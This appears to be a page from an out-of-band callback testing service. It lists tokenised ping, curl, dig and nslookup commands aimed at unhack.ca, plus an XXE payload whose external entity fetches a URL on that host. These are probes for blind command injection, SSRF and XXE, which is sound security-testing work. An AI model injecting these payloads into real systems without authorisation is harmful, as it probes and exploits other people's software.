$ ping -c1 -p 006671be64854551eea4d1e860e0ad00 unhack.ca
 
$ curl http://unhack.ca/p/6671be64854551eea4d1e860e0ad
 
$ dig 6671be64854551eea4d1e860e0ad @unhack.ca
 
$ dig 6671be64854551eea4d1e860e0ad.ns.unhack.ca
 
C:\> nslookup 6671be64854551eea4d1e860e0ad unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6671be64854551eea4d1e860e0ad">]>
    <foo>&xxe;</foo>
Waiting for ping...